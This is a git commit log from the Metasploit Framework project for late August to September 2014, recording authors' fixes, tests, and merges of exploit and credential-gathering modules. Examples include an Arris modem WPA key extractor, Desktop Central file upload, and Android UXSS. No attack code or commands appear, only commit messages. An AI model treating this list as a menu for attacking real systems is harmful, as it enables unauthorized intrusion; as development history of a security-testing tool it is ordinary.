2014-09-11 23:13:55 -05:00
Brandon Turner ba848c963a Fix rake when cucumber gem is not present 2014-09-11 22:31:57 -05:00
Joe Vennix 8e091b6da0 Add support for ff 29 - 32 feature. 2014-09-11 22:01:36 -05:00
Joe Vennix 55519d8867 Land #3781, my addition of Metasploit::Concern to msf. 2014-09-11 16:57:24 -05:00
darkbushido 090338f575 changing the cucumber timeout to 4 minutes.... 2014-09-11 16:54:19 -05:00
darkbushido 4ef60d1a00 removing unused step files
changing the ms08_067 tests to fail when proxies show up in the wrong section
2014-09-11 16:51:49 -05:00
Tod Beardsley c07e9008b9 Land #3778, fix CONTRIBUTING.md typos 2014-09-11 16:06:38 -05:00
Luke Imhoff 706655f755 Land #3779, Glassfish LoginScanner exception
MSP-11343
2014-09-11 15:57:47 -05:00
darkbushido 93cd53a800 setting cucumber-rails require to false in Gemfile
this stops the warning about cucumber being double required from showing up
2014-09-11 15:47:42 -05:00
Tod Beardsley d2f2b142b4 Land #3760, Arris WEP/WPA leak from @dheiland-r7 2014-09-11 15:39:19 -05:00
Tod Beardsley 0ed7f19eb2 Land #3780, msfelfscan use correct offsets 2014-09-11 15:28:18 -05:00
Joe Vennix 6ade4d8dab Kill empty line in Gemfile. 2014-09-11 14:47:17 -05:00
Joe Vennix 8654b63c58 Make sure Metasploit::Concern is accessible everywhere. 2014-09-11 14:46:35 -05:00
David Maloney 0663355237 catch connectionreset in ftp login scanner
add exception rescue for Errno::ECONNRESET
2014-09-11 14:39:36 -05:00
Tod Beardsley 4fc1ec09c7 Land #3759, Android UXSS, with ref/desc fixes
Incidentally, this also closes jvennix-r7#14 (let's see if I can close a
PR by merging from another repo!)

Also fixes #3782 (opened by accident).
2014-09-11 14:27:51 -05:00
Tod Beardsley fbba4b32e0 Update the title and desc to be more descriptive
See #3759
2014-09-11 14:06:14 -05:00
Tod Beardsley d627ab7628 Add refs for Android UXSS
See #3759
2014-09-11 14:05:50 -05:00
Joe Vennix 37e6173d1f Make Metasploit::Concern a first-class dep.
Also adds a Concern hook to HttpServer, so Pro can more
easily change its behavior.
2014-09-11 13:28:45 -05:00
James Lee 0ab36453b9 Add another header spec 2014-09-11 12:20:54 -05:00
James Lee a8e3ff0c0f Add specs to verify server header matching 2014-09-11 11:42:38 -05:00
James Lee 9151c2c79d Add docstrings and avoid multiple returns 2014-09-11 10:50:42 -05:00
James Lee 20e48a233a Explicitly set @version to nil if we can't detect 2014-09-11 10:30:52 -05:00
Cenk Kalpakoğlu 11004ab7c6 typo fix 2014-09-11 16:27:35 +03:00
Sascha Schirra be0c68d8bb BUGFIX: wrong imagebase used 2014-09-11 12:33:09 +02:00
Sascha Schirra 88cacd000e flags for phdr.p_flags added 2014-09-11 12:31:44 +02:00
James Lee 8aa06b8605 Better api for check_setup 2014-09-10 23:43:54 -05:00
James Lee c1658e5d51 Add a check_setup method 2014-09-10 20:09:46 -05:00
James Lee 84e4db9035 Don't raise in the middle
MSP-11343

This means we don't bomb out with an unhandled exception, instead
continuing attempting logins against the host even though it will never
succeed. Next up: verify state before running scan!()
2014-09-10 20:09:33 -05:00
Tod Beardsley 9fcf87b27b Detypo CONTRIBUTING.md 2014-09-10 18:26:09 -05:00
Tod Beardsley deaf0eb3d1 Merge pull request #1 from rapid7/master
I wonder if this PR will work.
2014-09-10 18:23:54 -05:00
Jon Hart 5477d5452e Land @todb-r7's #3776, s/redmine/github issues/g 2014-09-10 16:16:32 -07:00
Deral Heiland 872ba6a53b Update arris_dg950 module with required changes
Collapsed several levels of the if/else statement and changed out 2 with
case. Changed print_good to print_line. Removed rescue ::Interrupt and
altered variable names to make them more readable
2014-09-10 19:07:53 -04:00
jvazquez-r7 373eb3dda0 Make struts_code_exec_classloader to work on windows 2014-09-10 18:00:16 -05:00
Tod Beardsley 1938cd8663 Update CONTRIBUTING.md
Fix a sentence.
2014-09-10 15:22:24 -05:00
Tod Beardsley 877c2dd394 Update CONTRIBUTING.md
Redmine is on its way out. See here: 

https://github.com/rapid7/metasploit-framework/wiki/Decommissioning-Redmine
2014-09-10 15:21:47 -05:00
sinn3r 65287e41cd Land #3773 - Fix windows cmd redirection in firefox payloads 2014-09-10 13:25:42 -05:00
Jon Hart e317bfe0d5 Add preliminary module for discovering services with empty UDP probes 2014-09-10 10:58:22 -07:00
sinn3r 280e16c241 Land #3677 - Updated shodan_search for new API 2014-09-10 11:39:00 -05:00
sinn3r 006393360e Add conditions to check healthy shodan results 2014-09-10 11:38:06 -05:00
sinn3r 6920c71541 Land #3775 - ssh_login_pubkey fix for the uninit prepended_creds bug
Closes #3774
2014-09-10 11:08:14 -05:00
James Lee 257f0fc93e Quick fix for ssh_login_pubkey
Fixes #3772, closes #3774
2014-09-10 09:57:17 -05:00
Joe Vennix 1bb6573570 Fix windows cmd redirection in ff payloads. 2014-09-10 00:47:05 -05:00
James Lee 99c9d5a578 Land #3683, cucumber tests for msfconsole 2014-09-09 21:28:45 -05:00
Jon Hart 495e1c14a1 Land #3721, @brandonprry's module for Railo CVE-2014-5468 2014-09-09 19:10:46 -07:00
Jon Hart 26d8432a22 Minor style and usability changes to @brandonprry's #3721 2014-09-09 19:09:45 -07:00
Brandon Perry db6052ec6a Update check method 2014-09-09 18:51:42 -05:00
sinn3r 1b4ceec4f9 Land #3743 - Add specs for Rex::Arch::X86 2014-09-09 17:24:08 -05:00
sinn3r 0a6ce1f305 Land #3727 - SolarWinds Storage Manager exploit AND Msf::Payload::JSP 2014-09-09 17:21:03 -05:00
sinn3r e82348f157 Land #3762 - Add specs for Rex::Arch::Sparc 2014-09-09 16:10:26 -05:00
sinn3r 027f543bdb Land #3732 - Eventlog Analzyer exploit 2014-09-09 11:33:20 -05:00
sinn3r 75269fd0fa Make sure we're not doing a 'negative' timeout 2014-09-09 11:26:49 -05:00
Cenk Kalpakoğlu 262b5413bc Merge pull request #1 from dmaloney-r7/wordpress-xmlrpc-login-scanner
Wordpress xmlrpc login scanner
2014-09-09 14:29:47 +03:00
Joe Vennix 7793ed4fea Add some common UXSS scripts. 2014-09-09 02:31:27 -05:00
James Lee b8000517cf Land #3746, reinstate DB_ALL_CREDS 2014-09-08 17:24:12 -05:00
Tod Beardsley b9c8eb70c4 Land #3675, update copyright on Rex 2014-09-08 16:05:41 -05:00
HD Moore 250b3d227c Fix the rex.rb header and copyright date 2014-09-08 15:32:13 -05:00
David Maloney 2ac15f2088 some fixes based on Christruncer's feedback
fixed some stuff i borked, back to you chris
2014-09-08 15:27:01 -05:00
David Maloney cd3cdc5384 Merge branch 'master' into feature/ipboard-login-refactor 2014-09-08 14:48:37 -05:00
jvazquez-r7 f521cc598d Delete .encode specs, anyone uses the method, plus looks wrong 2014-09-08 14:42:43 -05:00
jvazquez-r7 9a74e60db3 Add specs for .encode 2014-09-08 14:32:33 -05:00
jvazquez-r7 11ca383d4f Add specs for .encode_byte 2014-09-08 14:24:03 -05:00
jvazquez-r7 3535a6a21d Add first specs for .gen_decoder and .encode_byte 2014-09-08 14:07:21 -05:00
William Vu b61d1dca88 Land #3763, release fixes 2014-09-08 14:02:45 -05:00
Tod Beardsley 4abee39ab2 Fixup for release
Ack, a missing disclosure date on the GDB exploit. I'm deferring to the
PR itself for this as the disclosure and URL reference.
2014-09-08 14:00:34 -05:00
David Maloney ef748fdef7 check if database is connected first
wooops
2014-09-08 12:54:19 -05:00
David Maloney 09e6c2f51f Merge branch 'master' into feature/MSP-11162/db-all-creds 2014-09-08 12:52:25 -05:00
David Maloney 16502b831f Merge branch 'master' of github.com:rapid7/metasploit-framework 2014-09-08 12:45:52 -05:00
David Maloney b84142715f rescue mysql host blocked
rbmysql can throw an exception if the
server blocked this host due to too many connection errors
2014-09-08 12:45:10 -05:00
jvazquez-r7 4c15954be5 Add specs for Rex::Arch::Sparc 2014-09-08 11:59:52 -05:00
William Vu ae5a8f449c Land #3691, gdbserver hax 2014-09-08 11:48:39 -05:00
jvennix-r7 b48aa8f2ca Merge pull request #13 from wvu-r7/pr/3691
Add verify_checksum and use it
2014-09-08 11:41:54 -05:00
Deral Heiland 9a6ee5090a Add Arris DG950A SNMP data extraction module
This module will extract critical data such as WPA and WEP keys from
the Arris DG950a model cable modem via the SNMP protocal.
2014-09-08 11:04:31 -04:00
sinn3r 0ccb39c057 Land #3726 - Fix typos in wordpress login 2014-09-08 09:40:57 -05:00
cx 1b5e40ff78 New Creds model added 2014-09-08 11:42:05 +03:00
William Vu 5c1d95812c Add verify_checksum and use it
Also fixed a YARD typo.
2014-09-08 02:19:21 -05:00
Joe Vennix 27889ea411 Add a safety fallback on js load. 2014-09-08 00:46:47 -05:00
Joe Vennix 8407d45c9c Rework the timers. 2014-09-08 00:40:00 -05:00
Joe Vennix 5c9c8edfcf Fix refs. 2014-09-07 23:33:45 -05:00
Joe Vennix 5efaf7d4cf rename module, handle asyncness. 2014-09-07 23:25:08 -05:00
jvazquez-r7 10bb77af9f Land #3716, @wchen-r7's Glassfish LoginScanner update 2014-09-07 21:54:34 -05:00
jvazquez-r7 6cdfd322f2 change should to expect 2014-09-07 21:35:33 -05:00
jvazquez-r7 e6f7b35d0d Use context to describe #attempt_login 2014-09-07 21:26:01 -05:00
jvazquez-r7 f266ca99f5 Use allow_any_instance_of as with rspec 3 2014-09-07 21:18:22 -05:00
jvazquez-r7 768b50974f Redo try_glassfish_3 specs 2014-09-07 21:04:43 -05:00
jvazquez-r7 07238ef7b3 Redo try_glassfish_2 specs 2014-09-07 20:47:54 -05:00
Joe Vennix 1bf89fb6bd Add Android <= 4.3 AOSP UXSS module. 2014-09-07 20:44:03 -05:00
jvazquez-r7 9a42e7635a Use expect instead of should on try_login 2014-09-07 20:01:44 -05:00
jvazquez-r7 06207afb12 Use expect instead of should 2014-09-07 19:37:24 -05:00
jvazquez-r7 424d1ec47f Add example to describe how send_request handles a JSESSIONID cookie 2014-09-07 19:33:56 -05:00
jvazquez-r7 28aa7429ed Land #3751, @wchen-r7's [FixRM #8836] Use windows\\win.ini vs boot.ini 2014-09-07 01:47:10 -05:00
jvazquez-r7 c86d01a667 Fix win.ini signature 2014-09-07 01:46:38 -05:00
William Vu 422d6bd2e4 Land #3758, nil deref fix for iax2/call.rb 2014-09-06 16:08:32 -05:00
HD Moore af24e30ae9 Return instead of crashing if no challenge is received 2014-09-06 15:51:50 -05:00
sinn3r ff6cce8bd1 3rd person 2014-09-06 01:56:39 -05:00
sinn3r 6df7658267 Very small change to the doc 2014-09-06 01:54:52 -05:00
sinn3r 419b2136b1 remove the "instance methods" context 2014-09-06 01:42:48 -05:00
sinn3r c8ccb5e848 In 3rd person 2014-09-06 01:39:32 -05:00
sinn3r febf70fed1 Merge pull request #21 from jvazquez-r7/review_3716
Clean YARD documentation
2014-09-06 01:22:58 -05:00
sinn3r 44b9dc9b28 Update tmlisten_traversal 2014-09-06 01:18:11 -05:00
jvazquez-r7 78cf75c4d5 Clean YARD documentation 2014-09-06 00:24:39 -05:00
William Vu 7d942be715 Land #3755, WVE and BPS reference removal 2014-09-05 19:56:40 -05:00
sinn3r 0d56a8ee14 Merge pull request #20 from wvu-r7/pr/3755
Remove WVE references from msftidy
2014-09-05 19:55:38 -05:00
William Vu 48e098b172 Remove WVE references from msftidy 2014-09-05 19:28:27 -05:00
Samuel Huckins 643329e2c4 Land #3757, postgres login scanner nil public fix 2014-09-05 16:35:46 -05:00
jvennix-r7 671c7f1095 Merge pull request #12 from wvu-r7/pr/3691
Fix read_ack to read only the ACK
2014-09-05 16:09:38 -05:00
David Maloney 0d9fbe798a turn nil publics and privates into blanks
don't pass nil into the credential object, pass an empty string instead
this is the expected behaviour and avoids stack traces
2014-09-05 16:06:58 -05:00
jvazquez-r7 df278dd2dc Conver to exploit 2014-09-05 14:47:33 -05:00
sinn3r ce0e7b59f5 Remove WVE and BPS reference identifiers
Reasons why they should be gone:

WVE:
* wirelessve.org is down.
* Not a single module uses WVE as a reference

BPS:
* "BreakingPoint" no longer exists
* The URL takes you to a login page to ixia. And there is no point
  of referencing something people can't see.
* Not a single module uses BPS as a reference.
2014-09-05 13:28:10 -05:00
William Vu b6e04599a7 Fix read_ack to read only the ACK
It was reading the response, too. Also removed an extraneous send_ack.
2014-09-05 12:30:59 -05:00
jvazquez-r7 d4a8b7e00d Move to exploits 2014-09-05 10:38:28 -05:00
jvazquez-r7 892f72e4ce Move module path 2014-09-05 10:30:27 -05:00
jvazquez-r7 d041ee6629 Delete exploit modules from this branch 2014-09-05 10:29:24 -05:00
William Vu 9a7d1b2390 Land #3733, "guest" for ipmi_users.txt 2014-09-04 21:11:42 -05:00
Chris Hebert abffdd8705 Update alienvault_newpolicyform_sqli.rb
cleaned up according to msftidy.rb suggestions

modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb:17 - [WARNING] Spaces at EOL
modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb:18 - [WARNING] Tabbed indent: "\tlack of input filtering to read an arbitrary file from the file system.\n"
modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb:29 - [WARNING] Space-Tab mixed indent: "\t [ 'OSVDB', '106815' ],\n"
modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb:29 - [WARNING] Tabbed indent: "\t [ 'OSVDB', '106815' ],\n"
modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb:30 - [WARNING] Space-Tab mixed indent: "\t [ 'EDB', '33317'],\n"
modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb:30 - [WARNING] Tabbed indent: "\t [ 'EDB', '33317'],\n"
modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb:110 - [WARNING] Spaces at EOL
2014-09-04 21:46:37 -04:00
Chris Hebert 664cc131e3 Update alienvault_newpolicyform_sqli.rb
added 'ctx' variable relating to jvazquez-r7 note added on Jun 9
2014-09-04 21:34:24 -04:00
sinn3r 08ce278cca Got these wrong 2014-09-04 17:05:51 -05:00
sinn3r cb490fc00e [SeeRM #8836] Change boot.ini to win.ini 2014-09-04 17:03:21 -05:00
jvazquez-r7 d83131f1d9 Land #3750, @wvu favoring unless 2014-09-04 16:17:07 -05:00
jvazquez-r7 ff210a7c0a delete parenthesis 2014-09-04 16:16:29 -05:00
sinn3r 85b48fd437 Land #3736 - Revert initial ff xpi prompt bypass for Firefox 22-27 2014-09-04 16:08:15 -05:00
jvazquez-r7 f063dcf0f4 Land #3741, @pedrib's module for CVE-2014-5005 Desktop Central file upload 2014-09-04 15:44:21 -05:00
jvazquez-r7 f466b112df Minor cleaning on check 2014-09-04 15:43:59 -05:00
jvazquez-r7 74b8e8eb40 Change module filename 2014-09-04 15:39:34 -05:00
jvazquez-r7 c32b977a27 Land #3747, @wvu changes to printer_ready_message 2014-09-04 15:26:52 -05:00
William Vu 2d8c7a7a4d Refactor if statement to early return
This eliminates the protracted if statement and aligns the code body.
2014-09-04 15:05:30 -05:00
William Vu 614c7c178d Land #3749, jtr_oracle_fast missing require fix 2014-09-04 15:03:37 -05:00
jvazquez-r7 c1bca5c138 Land #3742, @pedrib's changes to desktopcentral_file_upload check method 2014-09-04 14:47:36 -05:00
jvazquez-r7 7563c0bd0e Use Gem::Version 2014-09-04 14:40:13 -05:00
HD Moore 34455b5dc6 Fix missing require for jtr_oracle_fast 2014-09-04 14:38:07 -05:00
William Vu 50ac8366fd Refactor CHANGE/RESET to actions
Missed in c1fdc4d945.
2014-09-04 14:36:04 -05:00
jvazquez-r7 2615a7a3be Favor \&\& and || operands 2014-09-04 14:35:37 -05:00
sinn3r 0dcf481d76 This one is good to go 2014-09-04 14:13:33 -05:00
William Vu 4c12521ab2 Fix an incomplete refactor 2014-09-04 13:32:25 -05:00
William Vu 84f9ec0aad Refactor implicit options hash
Missed in c1fdc4d945.
2014-09-04 13:30:06 -05:00
David Maloney 00ec47fb83 call new prepend cred methods
add method calls o all the lgoinscanner modules
so that they call the prepend_db_* methods as approrpiate
these methods automatically check to see if DB_ALL_CREDS was
selected
2014-09-04 12:32:35 -05:00
David Maloney 093f488360 add db_all_cred methods to authbrute
adds 3 methods to add db_all_creds functionality back to
the loginscanners
2014-09-04 12:20:42 -05:00
David Maloney c5755824a6 pass in vhost and useragent
have http loginscanner modules pass in VHOST
and Useragent to the LoginScanner classes
2014-09-04 11:02:19 -05:00
David Maloney 28427ccee3 add VHOST and useragent support to loginscanner 2014-09-04 10:59:07 -05:00
sinn3r dd4fd7bb39 The reporting part 2014-09-03 16:32:23 -05:00
sinn3r e1694ec3e5 LoginScanner update for hp_sys_mgmt_login
Work in progress
2014-09-03 16:23:57 -05:00
Joe Vennix 0e18d69aab Add extended mode to prevent service from dying. 2014-09-03 16:07:27 -05:00
Joe Vennix 4293500a5e Implement running exe in multi. 2014-09-03 15:56:21 -05:00
Pedro Ribeiro f0e3fa18a3 Restore the original filename 2014-09-03 21:32:05 +01:00
Joe Vennix 268d42cf07 Add PrependFork to payload options. 2014-09-03 14:56:22 -05:00
jvazquez-r7 185ce36859 Land #3701, @wchen-ru's AppleTV modules 2014-09-03 12:30:50 -05:00
sinn3r 37f110febb Merge pull request #19 from jvazquez-r7/land_wchen_3701
Add http socket to the module sockets array and allow the framework to cleanup
2014-09-03 12:08:51 -05:00
jvazquez-r7 10dee28fbd Add http socket to the module sockets and allow the framework to cleanup 2014-09-03 12:01:48 -05:00
sinn3r 5acbcc80e2 no threading 2014-09-03 11:37:30 -05:00
Pedro Ribeiro ded085f5cc Add CVE ID 2014-09-03 07:22:10 +01:00
Brandon Perry ee3e5c9159 Add check method 2014-09-02 21:35:47 -05:00
sinn3r 61e58dc6d3 Yard doc 2014-09-02 20:48:07 -05:00
sinn3r 954475c0bf Add rspec and update about secure admin 2014-09-02 20:35:25 -05:00
darkbushido 77f0a2d420 fixing a merge error with travis.yml 2014-09-02 19:07:39 -05:00
darkbushido 794dc136f6 Merge branch 'aruba-testing-with-updated-master' into aruba-testing 2014-09-02 19:00:46 -05:00
darkbushido 50e804d9cb updating how we use cucumber to match lukes changes 2014-09-02 18:57:55 -05:00
jvazquez-r7 15f19468a1 Do last cleanup 2014-09-02 18:57:10 -05:00
jvazquez-r7 3ad0542b2a Fix some specs 2014-09-02 18:50:37 -05:00
jvazquez-r7 a1823b6c1e Add more specs for Rex::Arch::X86 2014-09-02 18:17:14 -05:00
Tod Beardsley 67786e34ae Land #3739, knock out rspec deprecations 2014-09-02 17:41:22 -05:00
Pedro Ribeiro c672fad9ef Add OSVDB ID, remove comma from Author field 2014-09-02 23:17:10 +01:00
Pedro Ribeiro d69049008c Refactor and rename desktopcentra_file_upload
- Rewrite check method
- Declare that v7 is also exploitable (tested and it works)
- Rename to dc_agentlogupload_file_upload to match the other DC module's naming convention
- Add CVE / OSVDB / Full disclosure references
2014-09-02 23:12:33 +01:00
Pedro Ribeiro 05856016c9 Add exploit for CVE-2014-5005 2014-09-02 23:09:10 +01:00
James Lee 83af97e5ab Land #3728, creds outfile 2014-09-02 16:15:10 -05:00
darkbushido 5b3800c13a removing the hacked stty solution 2014-09-02 13:57:48 -05:00
darkbushido 13a0b8da83 Merge branch 'master' into aruba-testing-with-updated-master
Conflicts:
	Gemfile.lock
	config/cucumber.yml
	features/support/env.rb
	features/support/hooks.rb
	lib/tasks/cucumber.rake
2014-09-02 13:56:02 -05:00
jvazquez-r7 16111aa2f7 Use RSpec::Mocks::Double 2014-09-02 13:25:05 -05:00
jvazquez-r7 fdb66d978b Fix remainings be_truthy and be_falsey conditionals 2014-09-02 13:22:21 -05:00
jvazquez-r7 9cec62d52b Merge branch 'specs_its' into fix_deprecation_warnings 2014-09-02 13:14:21 -05:00
jvazquez-r7 15e564ddf3 Merge branch 'collection_owner' into fix_deprecation_warnings 2014-09-02 13:14:09 -05:00
jvazquez-r7 824ff7fc72 Merge branch 'specs_skip' into fix_deprecation_warnings 2014-09-02 13:13:09 -05:00
jvazquez-r7 33784777df Avoid its in Msfupdate specs 2014-09-02 12:53:24 -05:00
jvazquez-r7 e0c6f5032f Avoid its in Msf::DBManager specs 2014-09-02 12:46:50 -05:00
Joe Vennix f7617183d9 Revert "Add initial firefox xpi prompt bypass."
This reverts commit ebcf972c08.
2014-09-02 12:27:41 -05:00
jvazquez-r7 d7af3a628d Avoid its on Msf::ModuleManager::Cache shared examples specs 2014-09-02 12:02:26 -05:00
jvazquez-r7 bf0d30cf03 Fix rspec-collection_matchers deprecation warning in Rex::Socket::RangeWalker 2014-09-02 11:08:26 -05:00
jvazquez-r7 5a0b6ece6e Use is_expected 2014-09-02 10:27:53 -05:00
jvazquez-r7 764af20567 Fix rspec-collection_matchers deprecation warnings in Rex::Socket 2014-09-02 10:21:52 -05:00
cx aaeb5a2f5f jhart-r7 suggestions added 2014-09-02 12:05:54 +03:00
John Sawyer 3281781f6a Addressed r7 comments, fixed bug in results loop 2014-09-01 13:43:31 -04:00
Tom Sellers 288a891665 Add the 'guest' IPMI user
The 'guest' IPMI user exists on many Cisco Unified Computing Server (UCS) implementations.
2014-09-01 07:01:06 -05:00
Pedro Ribeiro d480a5e744 Credit h0ng10 properly 2014-09-01 07:58:26 +01:00
Pedro Ribeiro 59847eb15b Remove newline at the top 2014-09-01 07:56:53 +01:00
Pedro Ribeiro 6a370a5f69 Add exploit for eventlog analyzer file upload 2014-09-01 07:56:01 +01:00
Pedro Ribeiro 9e8658268b Merge pull request #2 from rapid7/master
update
2014-08-31 22:09:06 +01:00
Tom Sellers 20a02a9d29 Cleanup 2014-08-31 14:01:13 -05:00
Tom Sellers 6f7bc94db4 Creation of rdcmanager_creds.rb 2014-08-31 13:38:08 -05:00
Kurt Grutzmacher 0ef71c70d3 s/services/creds 2014-08-31 09:54:49 -07:00
Kurt Grutzmacher 3bb370437c Returns csv output to creds command
commit 82b2c1deae removed the -o option
from the creds command. This returns it to its former glory!
2014-08-31 08:35:22 -07:00
jvazquez-r7 c05edd4b63 Delete debug print_status 2014-08-31 01:34:47 -05:00
jvazquez-r7 8b1791da22 Modify modules to keep old behavior 2014-08-31 01:18:53 -05:00
jvazquez-r7 559ec4adfe Add module for ZDI-14-299 2014-08-31 01:11:46 -05:00
DrDinosaur 8ba5488198 Update wordpress_login_enum.rb
Fixed some typos.
2014-08-30 13:37:48 -10:00
jvazquez-r7 e1b6ee283f Allow Msf::Payload::JSP to guess system shell path if it isnt provided 2014-08-30 16:27:02 -05:00
Brandon Perry 438f0e6365 typos 2014-08-30 09:22:58 -05:00
Brandon Perry f72cce9ff2 Update railo_cfml_rfi.rb 2014-08-29 17:33:15 -05:00
David Maloney a142e78a66 refactor wordpress_xml_rpc_login
refactor the login module to use the loginscanner class
2014-08-29 13:09:09 -05:00
David Maloney 928aeffcba add wordpress_rpc loginscanner and specs 2014-08-29 13:06:12 -05:00
David Maloney 0e14b271a1 Merge branch 'master' into wordpress-xmlrpc-login-scanner 2014-08-29 12:50:34 -05:00
Spencer McIntyre 1cdf1c2c6e Land #3709, @nnam's wing ftp admin console cmd exec 2014-08-29 13:46:01 -04:00
Spencer McIntyre 8095b4893c Rename and apply rubocop style to wing_ftp_admin_exec 2014-08-29 13:42:11 -04:00
cx bd9417490e Merge branch 'master' into linux-post-enum-psk 2014-08-29 15:50:28 +03:00
cx eaf73f9f84 Linux Gather 802-11-Wireless Security Credentials 2014-08-29 11:08:08 +03:00
sinn3r f7091d854e Add a timeout 2014-08-28 22:26:38 -05:00
jvazquez-r7 40f581458a Land #3570, @ikkini scanner for rsync 2014-08-28 18:48:32 -05:00
jvazquez-r7 9fb9ab813c Add URL reference 2014-08-28 18:47:56 -05:00
jvazquez-r7 bc542a011d Change module filename 2014-08-28 18:42:30 -05:00
jvazquez-r7 213fe23970 Clean rsync_modules_list 2014-08-28 18:40:55 -05:00
Samuel Huckins b4e3ce0fdc Merge branch 'master' of github.com:rapid7/metasploit-framework 2014-08-28 17:14:07 -05:00
Samuel Huckins fa77caa819 Merge branch 'bug/MSP-11153/database-config-overrides'
MSP-11153 #land
2014-08-28 17:12:37 -05:00
jvazquez-r7 20bcb8029b Land #3723, solves #3719 msfcli crash 2014-08-28 17:09:53 -05:00
James Lee 031445fee7 Check for nil resource files
See #3719
2014-08-28 16:27:33 -05:00
Luke Imhoff 20177c7c23 Restore backup database.yml when retesting after interrupt
MSP-11153

Restore the config/database.yml backed up to
config/database.yml.cucumber.bak in the db:config:restore task, which is
made a dependency of the environment rake task so that
config/database.yml is restored before Rails tries to use it in the
environment task.  This specifically, allows for rake cucumber to be
interrupted when the config/database.yml has been moved to
config/database.yml.cucumber.bak and a subsequence rake cucumber to
succeed and restore config/database.yml, but any task that depends on
environment will restore the config/database.yml.
2014-08-28 15:20:53 -05:00
nnam 02bbd53b82 Fix failure messages for check(). 2014-08-28 12:09:35 -07:00
Luke Imhoff 7a8d7a38d1 Remove debugging 'puts'
MSP-11153
2014-08-28 13:48:46 -05:00
Nicholas Nam 6c90a50e47 Handle res.nil case in check(). Revert check for res.nil in
execute_command() because it was failing prior to the reverse_shell
connecting.
2014-08-28 10:57:52 -07:00
Nicholas Nam 0788ce9745 Removed unused require and import. Handle the res.nil case in
execute_command() and authenticate().
2014-08-28 10:30:30 -07:00
sinn3r f097ef96e0 Use && 2014-08-28 12:13:03 -05:00
sinn3r d0d9949d91 Do SSL options correctly 2014-08-28 12:04:14 -05:00
Luke Imhoff 5ab8fcd026 Remove realpath call from expected user_configurations_pathname
MSP-11153

realpath is not used in the actual code anymore because it doesn't work
for non-existent paths.
2014-08-28 11:51:25 -05:00
jvazquez-r7 58091b9e2b Land #3708, @pedrib fix for manage_engine_dc_pmp_sqli 2014-08-28 10:47:03 -05:00
jvazquez-r7 d8c15766bd Land #3567 @OJ's fixes to the MQAC local exploit solving conflicts 2014-08-28 10:19:47 -05:00
jvazquez-r7 9d3d25a3b3 Solve conflicts 2014-08-28 10:19:12 -05:00
Spencer McIntyre dd8690323a Land #3722, fix typos in openssl ccs scanner 2014-08-28 10:50:18 -04:00
Matt Andreko 784ece574e Found additional typos. 2014-08-28 09:03:19 -05:00
Matt Andreko cb634cfef3 Fixed annoying typo that shows up in validation screenshots 2014-08-28 08:50:30 -05:00
Brandon Perry f4965ec5cf Create railo_cfml_rfi.rb 2014-08-28 08:42:07 -05:00
Luke Imhoff 188f5d012a Add scenario for no database.yml
MSP-11153
2014-08-27 22:02:16 -05:00
Luke Imhoff 7453f6fa3a Project "database.yml" scenario
MSP-11153
2014-08-27 21:47:31 -05:00
Luke Imhoff e6750b985c Add 'the' to make steps read better
MSP-11153
2014-08-27 21:38:46 -05:00
Luke Imhoff 972470c241 Ensure a fake project database.yml is used for scenarios
MSP-11153

Ensures that cucumber still works if config/database.yml is not set and
so other location is being used to run cucumber.
2014-08-27 21:36:23 -05:00
Luke Imhoff 496865e591 Order database.yml definitions to match precedence
MSP-11153
2014-08-27 21:15:00 -05:00
Luke Imhoff d752cdccf6 Remove unneeded command_line.yml
MSP-11153

Remove definition of command_line.yml in scenarios that don't use --yaml
flag.
2014-08-27 21:09:49 -05:00
Luke Imhoff b701ba5dcf ~/.msf4/database.yml scenario
MSP-11153
2014-08-27 20:57:08 -05:00
Luke Imhoff b1e745aa16 MSF_DATABASE_CONFIG scenario
MSP-11153
2014-08-27 20:33:52 -05:00
inkrypto 4a479d17a9 Randomize padding on aux module, fix spacing on exploits 2014-08-27 20:41:33 -04:00
Tod Beardsley 6d45f75b47 Land #3690, credential_collect refactor
@TomSellers strikes again!
2014-08-27 18:31:59 -05:00
Tom Sellers 9b0c5dfb0c Minor fix 2014-08-27 18:31:13 -05:00
sinn3r 0ba2f1e457 Leave a note about the old empty password issue 2014-08-27 17:06:11 -05:00
Luke Imhoff 275fa5cb50 Remove unnecessary return
MSP-11153

Leftover from earlier design.
2014-08-27 16:58:45 -05:00
Luke Imhoff 83b6f268b4 Remove unnecessary realpath
MSP-11153

Causes errors on machines that don't have ~/.msf4 like travis-ci.
2014-08-27 16:58:05 -05:00
sinn3r d5b70cca24 "Auth bypass" does not really describe what the feature actually does 2014-08-27 16:56:07 -05:00
Luke Imhoff 2b2d9085d3 Add cucumber to test matrix
MSP-11153
2014-08-27 16:50:25 -05:00
Luke Imhoff bfc509c18a Add feature that tests --yaml is favored over others
MSP-11153
2014-08-27 16:46:23 -05:00
sinn3r df215a380d Do not send 2 content-length headers 2014-08-27 16:05:08 -05:00
sinn3r a32ffc4c26 Add the final portion for Glassfish login module 2014-08-27 15:09:11 -05:00
Luke Imhoff 1857c6ae39 Add aruba
MSP-11153

aruba adds steps for testing commandline applications with cucumber.
2014-08-27 14:22:20 -05:00
Luke Imhoff 2f48f7c48c rails generate cucumber:install
MSP-11153

Add cucumber-rails for testing msfconsole's loading of database.yml from
different paths.
2014-08-27 14:10:04 -05:00
darkbushido 984f073c7d changing from cucumber to cucumber-rails
using the MSF_DATABASE_CONFIG to tell msfconsole where to find the database.yml
2014-08-27 13:44:34 -05:00
darkbushido 1da7ab9bda Rake will only show the load error when features are called
if you dont have cucumber installed it will only display the message if you call
rake features
2014-08-27 12:13:30 -05:00
Luke Imhoff 951ce15b44 Move database.yml selection to Metasploit::Framework::Database
MSP-11153

Test the following paths in order and only return them if the path
exists:

1. MSF_DATABASE_CONFIG environment variable
2. ~/.msf4/database.yml
3. <project>/config/database.yml
2014-08-27 12:01:43 -05:00
sinn3r 633eaab466 Land #3714 - Firefox 22-27 WebIDL Privileged Javascript Injection 2014-08-27 01:45:18 -05:00
sinn3r 5d8cbe0544 Early version of Glassfish using LoginScanner 2014-08-27 01:23:02 -05:00
Joe Vennix 26cfed6c6a Rename exploit module. 2014-08-26 23:05:41 -05:00
Tod Beardsley bf2c390ff4 Land fix for #3712 typo 2014-08-26 20:38:00 -05:00
Joe Vennix 96276aa6fa Get the disclosure date right. 2014-08-26 20:36:58 -05:00
